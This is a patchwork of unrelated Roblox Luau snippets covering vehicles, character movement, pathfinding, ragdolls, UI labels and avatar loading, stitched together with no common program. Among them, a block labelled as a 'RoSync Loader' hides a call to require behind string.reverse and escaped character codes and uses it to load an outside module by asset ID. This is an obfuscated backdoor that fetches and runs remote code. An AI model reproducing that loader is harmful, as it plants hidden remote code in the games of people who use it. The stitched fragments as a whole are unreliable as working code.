faucet.ColdWaterSet.Interactive.ClickDetector.MouseClick:Connect(function() faucet.Handle:SetPrimaryPartCFrame(faucet.HandleBase.CFrame * CFrame.Angles(math.rad(-30),0,0)) if steam.WarmSteam.Enabled == true then steam.WarmSteam.Enabled = false end if steam.HotSteam.Enabled == true then steam.HotSteam.Enabled = false end p.ColdOn.Value = true p.HotOn.Value = false end)
--[[ Stores common public-facing type information for Fusion APIs. ]]
type Set<T> = {[T]: any}
-- dependencies:
local players = game:GetService("Players") local physicsService = game:GetService("PhysicsService")
--[[ Novena Constraint Type: Motorcycle The Bike Chassis RikOne2 | Enjin --]]
local bike = script.Parent.Bike.Value local _Tune = require(bike["Tuner"]) local handler = bike:WaitForChild("AC6_Sound") local on = 0 local mult=0 local det=0 local trm=.4 local trmmult=0 local trmon=0 local throt=0 local redline=0 local shift=0 local SetPitch = .1 local SetRev = 1.8 local vol = .25 --Set the volume for everything below handler:FireServer("stopSound",bike.DriveSeat:WaitForChild("Rev"))
--Other Variables
CurrentMode,Debounce,CurrentIndicators,BreakINDLoop,FadeTweenInfo,BrakeFadeInfo = nil
----------------- --| Variables |-- -----------------
local PlayersService = game:GetService('Players') local DebrisService = game:GetService('Debris') local Tool = script.Parent local Handle = Tool:WaitForChild('Handle') local FireSound = Handle:WaitForChild('Fire') local ReloadSound = Handle:WaitForChild('Reload') local HitFadeSound = script:WaitForChild('HitFade') local PointLight = Handle:WaitForChild('PointLight') local Character = nil local Humanoid = nil local Player = nil local BaseShot = nil
--Attach to character added
local function characterAdded() local character = LocalPlayer.Character Died = false HRP = character:WaitForChild("HumanoidRootPart") Humanoid = character:WaitForChild("Humanoid") Humanoid:GetPropertyChangedSignal("Sit"):Connect(function() if Humanoid.Sit then hidePrompt() end end) Humanoid.Died:Connect(function() Died = true hidePrompt() end) end LocalPlayer.CharacterAdded:Connect(characterAdded) if LocalPlayer.Character then characterAdded() end local function getClosestSeat() if HRP and Humanoid then if not Humanoid.Sit and not Died then local closest = math.huge local closestSeat = nil local closestModule = nil for _, vehicle in pairs(CollectionService:GetTagged("EndorsedVehicle")) do local scripts = vehicle:WaitForChild("Scripts") local seatingModule = scripts and require(scripts:WaitForChild("LocalVehicleSeating")) local seats = seatingModule.GetSeats() for _, seat in pairs(seats) do local _, seatVisible = Workspace.CurrentCamera:WorldToViewportPoint(seat.Position) if seatVisible then local dist = (HRP.Position - seat.Position).magnitude if dist < closest and dist < MAX_PROMPT_DISTANCE and not seat:FindFirstChild("SeatWeld") then closest = dist closestSeat = seat closestModule = seatingModule end end end end return closestSeat, closestModule end end end while script.Parent ~= nil do local closestSeat, closestModule = getClosestSeat() if closestSeat and (not (Humanoid.Sit or Humanoid.PlatformStand)) then if closestSeat ~= AdornedSeat then hidePrompt() AdornedSeat = closestSeat AdornedSeatModule = closestModule closestModule.ShowPrompt(closestSeat, script.Parent) end elseif AdornedSeat then hidePrompt() end wait(SEAT_POLL_INTERVAL) end
-- ROBLOX deviation START: Roblox renderer doesn't support TextNode, only use of this type is in this file -- export type ReactText = string | number; -- ROBLOX deviation END
export type ReactProvider<T> = { ["$$typeof"]: number, type: ReactProviderType<T>, key: nil | string, ref: nil, props: { value: T, children: ReactNodeList?, -- ROBLOX deviation START: only make this open to extension if absolutely necessary -- ... -- ROBLOX deviation END }, -- ROBLOX deviation START: only make this open to extension if absolutely necessary -- ... -- ROBLOX deviation END } export type ReactProviderType<T> = { ["$$typeof"]: number, _context: ReactContext<T>, -- ROBLOX deviation START: only make this open to extension if absolutely necessary -- ... -- ROBLOX deviation END } export type ReactConsumer<T> = { ["$$typeof"]: number, type: ReactContext<T>, -- ROBLOX FIXME: Luau can't do <T> because: Recursive type being used with different parameters key: nil | string, ref: nil, props: { children: (value: T) -> ReactNodeList, unstable_observedBits: number?, -- ROBLOX deviation START: only make this open to extension if absolutely necessary -- ... -- ROBLOX deviation END }, -- ROBLOX deviation START: only make this open to extension if absolutely necessary -- ... -- ROBLOX deviation END } export type ReactContext<T> = { ["$$typeof"]: number, Consumer: ReactContext<T>, Provider: ReactProviderType<T>, _calculateChangedBits: ((T, T) -> number)?, _currentValue: T, _currentValue2: T, _threadCount: number, -- DEV only _currentRenderer: Object | nil, _currentRenderer2: Object | nil, -- This value may be added by application code -- to improve DEV tooling display names displayName: string?, -- ROBLOX deviation START: only make this open to extension if absolutely necessary -- ... -- ROBLOX deviation END } export type ReactPortal = { ["$$typeof"]: number, key: nil | string, containerInfo: any, children: ReactNodeList, -- TODO: figure out the API for cross-renderer implementation. implementation: any, -- ROBLOX deviation START: only make this open to extension if absolutely necessary -- ... -- ROBLOX deviation END } export type RefObject = { current: any }
--// Rotate viewport
local function setRotationEvent(model, camera) local currentAngle = 0 local modelCF, modelSize = model:GetBoundingBox() local rotInv = (modelCF - modelCF.p):inverse() modelCF = modelCF * rotInv modelSize = rotInv * modelSize modelSize = Vector3.new(math.abs(modelSize.x), math.abs(modelSize.y), math.abs(modelSize.z)) local diagonal = 0 local maxExtent = math.max(modelSize.x, modelSize.y, modelSize.z) local tan = math.tan(math.rad(camera.FieldOfView/2)) if (maxExtent == modelSize.x) then diagonal = math.sqrt(modelSize.y*modelSize.y + modelSize.z*modelSize.z)/2 elseif (maxExtent == modelSize.y) then diagonal = math.sqrt(modelSize.x*modelSize.x + modelSize.z*modelSize.z)/2 else diagonal = math.sqrt(modelSize.x*modelSize.x + modelSize.y*modelSize.y)/2 end local minDist = (maxExtent/2)/tan + diagonal if model.Name == "Cam" then minDist += 1 end return RunService.RenderStepped:Connect(function(dt) local increase = (1 * dt * 60) / 1.5 currentAngle = currentAngle + increase camera.CFrame = modelCF * CFrame.fromEulerAnglesYXZ(0, math.rad(currentAngle), 0) * CFrame.new(0, 0, (minDist - 1)) end) end
--[=[ Check if _both_ keys are down. Useful for key combinations. ```lua local shiftA = keyboard:AreKeysDown(Enum.KeyCode.LeftShift, Enum.KeyCode.A) if shiftA then ... end ``` ]=]
function Keyboard:AreKeysDown(keyCodeOne: Enum.KeyCode, keyCodeTwo: Enum.KeyCode): boolean return self:IsKeyDown(keyCodeOne) and self:IsKeyDown(keyCodeTwo) end
--[[ Public API ]]
-- function KeyboardMovement:Enable() if not UserInputService.KeyboardEnabled then return end local forwardValue = 0 local backwardValue = 0 local leftValue = 0 local rightValue = 0 local updateMovement = function(inputState) if inputState == Enum.UserInputState.Cancel then MasterControl:AddToPlayerMovement(-currentMoveVector) currentMoveVector = Vector3.new(0, 0, 0) else MasterControl:AddToPlayerMovement(-currentMoveVector) currentMoveVector = Vector3.new(leftValue + rightValue,0,forwardValue + backwardValue) MasterControl:AddToPlayerMovement(currentMoveVector) end end local moveForwardFunc = function(actionName, inputState, inputObject) if inputState == Enum.UserInputState.Begin then forwardValue = -1 elseif inputState == Enum.UserInputState.End or inputState == Enum.UserInputState.Cancel then forwardValue = 0 end updateMovement(inputState) end local moveBackwardFunc = function(actionName, inputState, inputObject) if inputState == Enum.UserInputState.Begin then backwardValue = 1 elseif inputState == Enum.UserInputState.End or inputState == Enum.UserInputState.Cancel then backwardValue = 0 end updateMovement(inputState) end local moveLeftFunc = function(actionName, inputState, inputObject) if inputState == Enum.UserInputState.Begin then leftValue = -1 elseif inputState == Enum.UserInputState.End or inputState == Enum.UserInputState.Cancel then leftValue = 0 end updateMovement(inputState) end local moveRightFunc = function(actionName, inputState, inputObject) if inputState == Enum.UserInputState.Begin then rightValue = 1 elseif inputState == Enum.UserInputState.End or inputState == Enum.UserInputState.Cancel then rightValue = 0 end updateMovement(inputState) end local jumpFunc = function(actionName, inputState, inputObject) MasterControl:SetIsJumping(inputState == Enum.UserInputState.Begin) end -- TODO: remove up and down arrows, these seem unnecessary ContextActionService:BindActionToInputTypes("forwardMovement", moveForwardFunc, false, Enum.PlayerActions.CharacterForward) ContextActionService:BindActionToInputTypes("backwardMovement", moveBackwardFunc, false, Enum.PlayerActions.CharacterBackward) ContextActionService:BindActionToInputTypes("leftMovement", moveLeftFunc, false, Enum.PlayerActions.CharacterLeft) ContextActionService:BindActionToInputTypes("rightMovement", moveRightFunc, false, Enum.PlayerActions.CharacterRight) ContextActionService:BindActionToInputTypes("jumpAction", jumpFunc, false, Enum.PlayerActions.CharacterJump) -- TODO: make sure we check key state before binding to check if key is already down local function onFocusReleased() local humanoid = getHumanoid() if humanoid then MasterControl:AddToPlayerMovement(-currentMoveVector) currentMoveVector = Vector3.new(0, 0, 0) forwardValue, backwardValue, leftValue, rightValue = 0, 0, 0, 0 MasterControl:SetIsJumping(false) end end local function onTextFocusGained(textboxFocused) MasterControl:SetIsJumping(false) end SeatJumpCn = UserInputService.InputBegan:connect(function(inputObject, isProcessed) if inputObject.KeyCode == Enum.KeyCode.Backspace and not isProcessed then local humanoid = getHumanoid() if humanoid and (humanoid.Sit or humanoid.PlatformStand) then MasterControl:DoJump() end end end) TextFocusReleasedCn = UserInputService.TextBoxFocusReleased:connect(onFocusReleased) TextFocusGainedCn = UserInputService.TextBoxFocused:connect(onTextFocusGained) -- TODO: remove pcall when API is live WindowFocusReleasedCn = UserInputService.WindowFocusReleased:connect(onFocusReleased) end function KeyboardMovement:Disable() ContextActionService:UnbindAction("forwardMovement") ContextActionService:UnbindAction("backwardMovement") ContextActionService:UnbindAction("leftMovement") ContextActionService:UnbindAction("rightMovement") ContextActionService:UnbindAction("jumpAction") if SeatJumpCn then SeatJumpCn:disconnect() SeatJumpCn = nil end if TextFocusReleasedCn then TextFocusReleasedCn:disconnect() TextFocusReleasedCn = nil end if TextFocusGainedCn then TextFocusGainedCn:disconnect() TextFocusGainedCn = nil end if WindowFocusReleasedCn then WindowFocusReleasedCn:disconnect() WindowFocusReleasedCn = nil end MasterControl:AddToPlayerMovement(-currentMoveVector) currentMoveVector = Vector3.new(0,0,0) MasterControl:SetIsJumping(false) end return KeyboardMovement
--[=[ Starts with the given values https://rxjs-dev.firebaseapp.com/api/operators/startWith @param values { T } @return (source: Observable) -> Observable ]=]
function Rx.startWith(values) assert(type(values) == "table", "Bad values") return function(source) assert(Observable.isObservable(source), "Bad observable") return Observable.new(function(sub) for _, item in pairs(values) do sub:Fire(item) end return source:Subscribe(sub:GetFireFailComplete()) end) end end
-- Activation]:
if TurnCharacterToMouse == true then MseGuide = true HeadHorFactor = 0 BodyHorFactor = 0 end Bind = function(Body) Head = Body:WaitForChild("Head") Hum = Body:WaitForChild("Humanoid") Core = Body:WaitForChild("HumanoidRootPart") IsR6 = (Hum.RigType.Value==0) --[Checking if the player is using R15 or R6.] Trso = (IsR6 and Body:WaitForChild("Torso")) or Body:WaitForChild("UpperTorso") Neck = (IsR6 and Trso:WaitForChild("Neck")) or Head:WaitForChild("Neck") --[Once we know the Rig, we know what to find.] Waist = (not IsR6 and Trso:WaitForChild("Waist")) --[R6 doesn't have a waist joint, unfortunately.] local NeckOrgnC0 = Neck.C0 --[Get the base C0 to manipulate off of.] local WaistOrgnC0 = (not IsR6 and Waist.C0) --[Get the base C0 to manipulate off of.] --[Setup]: Neck.MaxVelocity = 1/3 local Connection Connection = game:GetService("RunService").RenderStepped:Connect(function() if not Body then Connection:Disconnect() return end local CamCF = Cam.CoordinateFrame if ((IsR6 and Body["Torso"]) or Body["UpperTorso"])~=nil and Body["Head"]~=nil then --[Check for the Torso and Head...] local TrsoLV = Trso.CFrame.lookVector local HdPos = Head.CFrame.p if IsR6 and Neck or Neck and Waist then --[Make sure the Neck still exists.] if Cam.CameraSubject:IsDescendantOf(Body) or Cam.CameraSubject:IsDescendantOf(Plr) then local Dist = nil; local Diff = nil; if not MseGuide then --[If not tracking the Mouse then get the Camera.] Dist = (Head.CFrame.p-CamCF.p).magnitude Diff = Head.CFrame.Y-CamCF.Y if not IsR6 then --[R6 and R15 Neck rotation C0s are different; R15: X axis inverted and Z is now the Y.] Neck.C0 = Neck.C0:lerp(NeckOrgnC0*Ang((aSin(Diff/Dist)*HeadVertFactor), -(((HdPos-CamCF.p).Unit):Cross(TrsoLV)).Y*HeadHorFactor, 0), UpdateSpeed/2) Waist.C0 = Waist.C0:lerp(WaistOrgnC0*Ang((aSin(Diff/Dist)*BodyVertFactor), -(((HdPos-CamCF.p).Unit):Cross(TrsoLV)).Y*BodyHorFactor, 0), UpdateSpeed/2) else --[R15s actually have the properly oriented Neck CFrame.] Neck.C0 = Neck.C0:lerp(NeckOrgnC0*Ang(-(aSin(Diff/Dist)*HeadVertFactor), 0, -(((HdPos-CamCF.p).Unit):Cross(TrsoLV)).Y*HeadHorFactor),UpdateSpeed/2) end else local Point = Mouse.Hit.p Dist = (Head.CFrame.p-Point).magnitude Diff = Head.CFrame.Y-Point.Y if not IsR6 then Neck.C0 = Neck.C0:lerp(NeckOrgnC0*Ang(-(aTan(Diff/Dist)*HeadVertFactor), (((HdPos-Point).Unit):Cross(TrsoLV)).Y*HeadHorFactor, 0), UpdateSpeed/2) Waist.C0 = Waist.C0:lerp(WaistOrgnC0*Ang(-(aTan(Diff/Dist)*BodyVertFactor), (((HdPos-Point).Unit):Cross(TrsoLV)).Y*BodyHorFactor, 0), UpdateSpeed/2) else Neck.C0 = Neck.C0:lerp(NeckOrgnC0*Ang((aTan(Diff/Dist)*HeadVertFactor), 0, (((HdPos-Point).Unit):Cross(TrsoLV)).Y*HeadHorFactor), UpdateSpeed/2) end end end end end if TurnCharacterToMouse == true then Hum.AutoRotate = false Core.CFrame = Core.CFrame:lerp(CFrame.new(Core.Position, Vector3.new(Mouse.Hit.p.x, Core.Position.Y, Mouse.Hit.p.z)), UpdateSpeed / 2) else Hum.AutoRotate = true end end) end repeat task.wait() until Plr.Character Bind(Plr.Character) Plr.CharacterAdded:Connect(Bind)
-- GUI Elements
local TutorialGui = script.Parent local Panels = TutorialGui.TutorialPanels local Panel1 = Panels.Panel1 local Panel2 = Panels.Panel2 local NextButton = Panels.NextButton local Arrow = TutorialGui.Arrow
---bruh
local humanoid = script.Parent.Parent:WaitForChild('Humanoid') humanoid.BreakJointsOnDeath = false wait(0.01) for index,joint in pairs(script.Parent.Parent:GetDescendants()) do if joint:IsA('Motor6D') then local socket = Instance.new('BallSocketConstraint') local a1 = Instance.new('Attachment') local a2 = Instance.new('Attachment') a1.Parent = joint.Part0 a2.Parent = joint.Part1 socket.Parent = joint.Parent socket.Attachment0 = a1 socket.Attachment1 = a2 a1.CFrame = joint.c0 a2.CFrame = joint.c1 socket.LimitsEnabled = true socket.TwistLimitsEnabled = true joint:Destroy() local bv = Instance.new("BodyVelocity") bv.MaxForce = Vector3.new(math.huge, math.huge, math.huge) bv.Velocity = script.Parent.Parent.HumanoidRootPart.CFrame.lookVector * -0 bv.Parent = script.Parent.Parent.HumanoidRootPart game.Debris:AddItem(bv, .1) end end wait(3) for i, v in pairs(script.Parent.Parent:GetDescendants()) do if v:IsA("BallSocketConstraint") then v.UpperAngle = 0 v.TwistUpperAngle = 0 v.TwistLowerAngle = 0 local Joins = Instance.new("Motor6D", v.Parent) Joins.Part0 = v.Attachment0.Parent Joins.Part1 = v.Attachment1.Parent Joins.C0 = v.Attachment0.CFrame Joins.C1 = v.Attachment1.CFrame v:Destroy() end end script.Parent:Destroy()
-- /** -- * Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved. -- * -- * This source code is licensed under the MIT license found in the -- * LICENSE file in the root directory of this source tree. -- * -- */
local CurrentModule = script local Packages = CurrentModule.Parent local LuauPolyfill = require(Packages.LuauPolyfill) local Object = LuauPolyfill.Object type Array<T> = LuauPolyfill.Array<T> local AssertionError = LuauPolyfill.AssertionError local matcherUtils = require(Packages.JestMatcherUtils) local AsymmetricMatchers = require(CurrentModule.asymmetricMatchers) local any = AsymmetricMatchers.any local anything = AsymmetricMatchers.anything local arrayContaining = AsymmetricMatchers.arrayContaining local arrayNotContaining = AsymmetricMatchers.arrayNotContaining local objectContaining = AsymmetricMatchers.objectContaining local objectNotContaining = AsymmetricMatchers.objectNotContaining local stringContaining = AsymmetricMatchers.stringContaining local stringNotContaining = AsymmetricMatchers.stringNotContaining local stringMatching = AsymmetricMatchers.stringMatching local stringNotMatching = AsymmetricMatchers.stringNotMatching local JasmineUtils = require(CurrentModule.jasmineUtils) local equals = JasmineUtils.equals local JestMatchersObject = require(CurrentModule.jestMatchersObject)
--Code runs when message/command is typed below
Command = "TEST" game.Players.LocalPlayer.Chatted:connect(function(msg) if msg == Command then script.Parent.PlayerSent:FireServer(msg) --Triggers the code under the server script end end)
--[[ Last synced 12/11/2020 06:18 || RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
-- FUNCTION --
function RotateBlimp() local BlimpTween = TweenService:Create(AlignOrientation, TweenInfo.new(20, Enum.EasingStyle.Linear, Enum.EasingDirection.InOut), { CFrame = AlignOrientation.CFrame * CFrame.Angles(math.rad(-1), math.rad(180), 0) }) BlimpTween:Play() return BlimpTween end
-----------------------------------PATHER--------------------------------------
local function CreateDestinationIndicator(pos) local destinationGlobe = Create'Part' { Name = 'PathGlobe'; TopSurface = 'Smooth'; BottomSurface = 'Smooth'; Shape = 'Ball'; CanCollide = false; Size = Vector3.new(2,2,2); BrickColor = BrickColor.new('Institutional white'); Transparency = 0; Anchored = true; CFrame = CFrame.new(pos); } return destinationGlobe end local function Pather(character, point) local this = {} this.Cancelled = false this.Started = false this.Finished = Signal.Create() this.PathFailed = Signal.Create() this.PathStarted = Signal.Create() this.PathComputed = false function this:YieldUntilPointReached(character, point, timeout) timeout = timeout or 10000000 local humanoid = findPlayerHumanoid(Player) local torso = humanoid and humanoid.Torso local start = tick() local lastMoveTo = start while torso and tick() - start < timeout and this.Cancelled == false do local diffVector = (point - torso.CFrame.p) local xzMagnitude = (diffVector * Vector3.new(1,0,1)).magnitude if xzMagnitude < 6 then -- Jump if the path is telling is to go upwards if diffVector.Y >= 2.2 then humanoid.Jump = true end end -- The hard-coded number 2 here is from the engine's MoveTo implementation if xzMagnitude < 2 then return true end -- Keep on issuing the move command because it will automatically quit every so often. if tick() - lastMoveTo > 1.5 then humanoid:MoveTo(point) lastMoveTo = tick() end CharacterControl:UpdateTorso(point) wait() end return false end function this:Cancel() this.Cancelled = true local humanoid = findPlayerHumanoid(Player) local torso = humanoid and humanoid.Torso if humanoid and torso then humanoid:MoveTo(torso.CFrame.p) end end function this:CheckOcclusion(point1, point2, character, torsoRadius) local humanoid = findPlayerHumanoid(Player) local torso = humanoid and humanoid.Torso if torsoRadius == nil then torsoRadius = torso and Vector3.new(torso.Size.X/2,0,torso.Size.Z/2) or Vector3.new(1,0,1) end local diffVector = point2 - point1 local directionVector = diffVector.unit local rightVector = Vector3.new(0,1,0):Cross(directionVector) * torsoRadius local rightPart, _ = Utility.Raycast(Ray.new(point1 + rightVector, diffVector + rightVector), true, {character}) local hitPart, _ = Utility.Raycast(Ray.new(point1, diffVector), true, {character}) local leftPart, _ = Utility.Raycast(Ray.new(point1 - rightVector, diffVector - rightVector), true, {character}) if rightPart or hitPart or leftPart then return false end -- Make sure we have somewhere to stand on local midPt = (point2 + point1) / 2 local studsBetweenSamples = 2 for i = 1, math.floor(diffVector.magnitude/studsBetweenSamples) do local downPart, _ = Utility.Raycast(Ray.new(point1 + directionVector * i * studsBetweenSamples, Vector3.new(0,-7,0)), true, {character}) if not downPart then return false end end return true end function this:SmoothPoints(pathToSmooth) local result = {} local humanoid = findPlayerHumanoid(Player) local torso = humanoid and humanoid.Torso for i = 1, #pathToSmooth do table.insert(result, pathToSmooth[i]) end -- Backwards for safe-deletion for i = #result - 1, 1, -1 do if i + 1 <= #result then local nextPoint = result[i+1] local thisPoint = result[i] local lastPoint = result[i-1] if lastPoint == nil then lastPoint = torso and Vector3.new(torso.CFrame.p.X, thisPoint.Y, torso.CFrame.p.Z) end if lastPoint and Utility.FuzzyEquals(thisPoint.Y, lastPoint.Y) and Utility.FuzzyEquals(thisPoint.Y, nextPoint.Y) then if this:CheckOcclusion(lastPoint, nextPoint, character) then table.remove(result, i) -- Move i back one to recursively-smooth i = i + 1 end end end end return result end function this:CheckNeighboringCells(character) local pathablePoints = {} local humanoid = findPlayerHumanoid(Player) local torso = character and humanoid and humanoid.Torso if torso then local torsoCFrame = torso.CFrame local torsoPos = torsoCFrame.p -- Minus and plus 2 is so we can get it into the cell-corner space and then translate it back into cell-center space local roundedPos = Vector3.new(Utility.Round(torsoPos.X-2,4)+2, Utility.Round(torsoPos.Y-2,4)+2, Utility.Round(torsoPos.Z-2,4)+2) local neighboringCells = {} for x = -4, 4, 8 do for z = -4, 4, 8 do table.insert(neighboringCells, roundedPos + Vector3.new(x,0,z)) end end for _, testPoint in pairs(neighboringCells) do local pathable = this:CheckOcclusion(roundedPos, testPoint, character, Vector3.new(0,0,0)) if pathable then table.insert(pathablePoints, testPoint) end end end return pathablePoints end function this:ComputeDirectPath() local humanoid = findPlayerHumanoid(Player) local torso = humanoid and humanoid.Torso if torso then local startPt = torso.CFrame.p local finishPt = point if (finishPt - startPt).magnitude < 150 then -- move back the destination by 2 studs or otherwise the pather will collide with the object we are trying to reach finishPt = finishPt - (finishPt - startPt).unit * 2 if this:CheckOcclusion(startPt, finishPt, character, Vector3.new(0,0,0)) then local pathResult = {} pathResult.Status = Enum.PathStatus.Success function pathResult:GetPointCoordinates() return {finishPt} end return pathResult end end end end local function AllAxisInThreshhold(targetPt, otherPt, threshold) return math.abs(targetPt.X - otherPt.X) <= threshold and math.abs(targetPt.Y - otherPt.Y) <= threshold and math.abs(targetPt.Z - otherPt.Z) <= threshold end function this:ComputePath() local smoothed = false local humanoid = findPlayerHumanoid(Player) local torso = humanoid and humanoid.Torso if torso then if this.PathComputed then return end this.PathComputed = true -- Will yield the script since it is an Async script (start, finish, maxDistance) -- Try to use the smooth function, but it may not exist yet :( local success = pcall(function() -- 3 is height from torso cframe to ground this.pathResult = PathfindingService:ComputeSmoothPathAsync(torso.CFrame.p - Vector3.new(0,3,0), point, 400) smoothed = true end) if not success then -- 3 is height from torso cframe to ground this.pathResult = PathfindingService:ComputeRawPathAsync(torso.CFrame.p - Vector3.new(0,3,0), point, 400) smoothed = false end this.pointList = this.pathResult and this.pathResult:GetPointCoordinates() local pathFound = false if this.pathResult.Status == Enum.PathStatus.FailFinishNotEmpty then -- Lets try again with a slightly set back start point; it is ok to do this again so the FailFinishNotEmpty uses little computation local diffVector = point - workspace.CurrentCamera.CoordinateFrame.p if diffVector.magnitude > 2 then local setBackPoint = point - (diffVector).unit * 2.1 local success = pcall(function() this.pathResult = PathfindingService:ComputeSmoothPathAsync(torso.CFrame.p, setBackPoint, 400) smoothed = true end) if not success then this.pathResult = PathfindingService:ComputeRawPathAsync(torso.CFrame.p, setBackPoint, 400) smoothed = false end this.pointList = this.pathResult and this.pathResult:GetPointCoordinates() pathFound = true end end if this.pathResult.Status == Enum.PathStatus.ClosestNoPath and #this.pointList >= 1 and pathFound == false then local otherPt = this.pointList[#this.pointList] if AllAxisInThreshhold(point, otherPt, 4) and (torso.CFrame.p - point).magnitude > (otherPt - point).magnitude then local pathResult = {} pathResult.Status = Enum.PathStatus.Success function pathResult:GetPointCoordinates() return {this.pointList} end this.pathResult = pathResult pathFound = true end end if (this.pathResult.Status == Enum.PathStatus.FailStartNotEmpty or this.pathResult.Status == Enum.PathStatus.ClosestNoPath) and pathFound == false then local pathablePoints = this:CheckNeighboringCells(character) for _, otherStart in pairs(pathablePoints) do local pathResult; local success = pcall(function() pathResult = PathfindingService:ComputeSmoothPathAsync(otherStart, point, 400) smoothed = true end) if not success then pathResult = PathfindingService:ComputeRawPathAsync(otherStart, point, 400) smoothed = false end if pathResult and pathResult.Status == Enum.PathStatus.Success then this.pathResult = pathResult if this.pathResult then this.pointList = this.pathResult:GetPointCoordinates() table.insert(this.pointList, 1, otherStart) end break end end end if DirectPathEnabled then if this.pathResult.Status ~= Enum.PathStatus.Success then local directPathResult = this:ComputeDirectPath() if directPathResult and directPathResult.Status == Enum.PathStatus.Success then this.pathResult = directPathResult this.pointList = directPathResult:GetPointCoordinates() end end end end return smoothed end function this:IsValidPath() this:ComputePath() local pathStatus = this.pathResult.Status return pathStatus == Enum.PathStatus.Success end function this:GetPathStatus() this:ComputePath() return this.pathResult.Status end function this:Start() spawn(function() local humanoid = findPlayerHumanoid(Player) --humanoid.AutoRotate = false local torso = humanoid and humanoid.Torso if torso then if this.Started then return end this.Started = true -- Will yield the script since it is an Async function script (start, finish, maxDistance) local smoothed = this:ComputePath() if this:IsValidPath() then this.PathStarted:fire() -- smooth out zig-zaggy paths local smoothPath = smoothed and this.pointList or this:SmoothPoints(this.pointList) for i, point in pairs(smoothPath) do if humanoid then if this.Cancelled then return end local wayPoint = nil if SHOW_PATH then wayPoint = CreateDestinationIndicator(point) wayPoint.BrickColor = BrickColor.new("New Yeller") wayPoint.Parent = workspace print(wayPoint.CFrame.p) end humanoid:MoveTo(point) local distance = ((torso.CFrame.p - point) * Vector3.new(1,0,1)).magnitude local approxTime = 10 if math.abs(humanoid.WalkSpeed) > 0 then approxTime = distance / math.abs(humanoid.WalkSpeed) end local yielding = true if i == 1 then --local rotatedCFrame = CameraModule:LookAtPreserveHeight(point) if CameraModule then local rotatedCFrame = CameraModule:LookAtPreserveHeight(smoothPath[#smoothPath]) local finishedSignal, duration = CameraModule:TweenCameraLook(rotatedCFrame) end --CharacterControl:SetTorsoLookPoint(point) end ---[[ if (humanoid.Torso.CFrame.p - point).magnitude > 9 then spawn(function() while yielding and this.Cancelled == false do if CameraModule then local look = CameraModule:GetCameraLook() local squashedLook = (look * Vector3.new(1,0,1)).unit local direction = ((point - workspace.CurrentCamera.CoordinateFrame.p) * Vector3.new(1,0,1)).unit local theta = math.deg(math.acos(squashedLook:Dot(direction))) if tick() - Utility.GetLastInput() > 2 and theta > (workspace.CurrentCamera.FieldOfView / 2) then local rotatedCFrame = CameraModule:LookAtPreserveHeight(point) local finishedSignal, duration = CameraModule:TweenCameraLook(rotatedCFrame) --return end end wait(0.1) end end) end --]] local didReach = this:YieldUntilPointReached(character, point, approxTime * 3 + 1) yielding = false if SHOW_PATH then wayPoint:Destroy() end if not didReach then this.PathFailed:fire() return end end end this.Finished:fire() return end end this.PathFailed:fire() end) end return this end
--Hide Avatar
script.Parent.ChildAdded:connect(function(child) if child:IsA("Weld") then if child.Part1.Name == "HumanoidRootPart" then player = game.Players:GetPlayerFromCharacter(child.Part1.Parent) for i,v in pairs(child.Part1.Parent:GetChildren())do if v:IsA("Part") then v.Transparency=1 v.CanCollide=false end end end end end)
-- local script inside a TextLabel
local player = game.Players.LocalPlayer local SoulValue = player.Currency.Soul local textLabel = script.Parent local function updateText() local Soul = SoulValue.Value if Soul > 999 then if Soul >= 1000000 then textLabel.Text = string.format("%.1fM", Soul / 1000000) elseif Soul >= 1000 then textLabel.Text = string.format("%.1fK", Soul / 1000) end else textLabel.Text = tostring(Soul) end end SoulValue.Changed:Connect(updateText) updateText()
-- If you want to know how to retexture a hat, read this: http://www.roblox.com/Forum/ShowPost.aspx?PostID=10502388
debounce = true function onTouched(hit) if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then debounce = false h = Instance.new("Hat") p = Instance.new("Part") h.Name = "Hat" -- It doesn't make a difference, but if you want to make your place in Explorer neater, change this to the name of your hat. p.Parent = h p.Position = hit.Parent:findFirstChild("Head").Position p.Name = "Handle" p.formFactor = 0 p.Size = Vector3.new(-0,-0,-1) p.BottomSurface = 0 p.TopSurface = 0 p.Locked = true script.Parent.Mesh:clone().Parent = p h.Parent = hit.Parent h.AttachmentPos = Vector3.new(0, -0.47, -0.005) -- Change these to change the positiones of your hat, as I said earlier. wait(5) debounce = true end end script.Parent.Touched:connect(onTouched)
--//Controller//--
while task.wait(Configuration.RegenTime.Value) do if Humanoid.Sit == true then Humanoid.Health = Humanoid.Health + Configuration.HealthRegen.Value end end
-- Saves profile card information for next time
Players.PlayerRemoving:Connect(function(player) local statusSuccess, statusError = pcall(function() Statuses:SetAsync(player.UserId, player:GetAttribute("status")) end) if statusSuccess then print("Status successfully updated!") else print(player, statusError) end end)
--By Thomasthered
local Model = script.Parent local Config = Model.Configuration local Username = Config.Username.Value local function resetModel() for i,v in pairs(Model:GetChildren()) do if v:IsA('CharacterMesh') or v:IsA('Shirt') or v:IsA('Pants') or v:IsA('Accessory') or v:IsA('ShirtGraphic') then v:Destroy() end end if Model.Head:findFirstChild('Mesh') then Model.Head.Mesh:Destroy() end end local function updateModel() local AppModel = game.Players:GetCharacterAppearanceAsync(game.Players:GetUserIdFromNameAsync(Username)) for i,v in pairs(AppModel:GetChildren()) do if v:IsA('SpecialMesh') or v:IsA('BlockMesh') or v:IsA('CylinderMesh') then v.Parent = Model.Head elseif v:IsA('Decal') then Model.Head.face.Texture = v.Texture elseif v:IsA('BodyColors') or v:IsA('CharacterMesh') or v:IsA('Shirt') or v:IsA('Pants') or v:IsA('ShirtGraphic') then if Model:findFirstChild('Body Colors') then Model['Body Colors']:Destroy() end v.Parent = Model elseif v:IsA('Accessory') then v.Parent = Model v.Handle.CFrame = Model.Head.CFrame * CFrame.new(0, Model.Head.Size.Y / 2, 0) * v.AttachmentPoint:inverse() else print('Object: '..v.Name..' is not recognised, type: '..v.ClassName) end end if not Model.Head:FindFirstChild('Mesh') then local m = Instance.new('SpecialMesh', Model.Head) m.MeshType = Enum.MeshType.Head m.Scale = Vector3.new(1.25, 1.25, 1.25) end end wait(2) updateModel()
-- Prepping joint variables
local neck, shoulder, oldNeckC0, oldShoulderC0, saveAngle saveAngle = Vector3.new(0, 0, 0) -- Just giving it an initial value
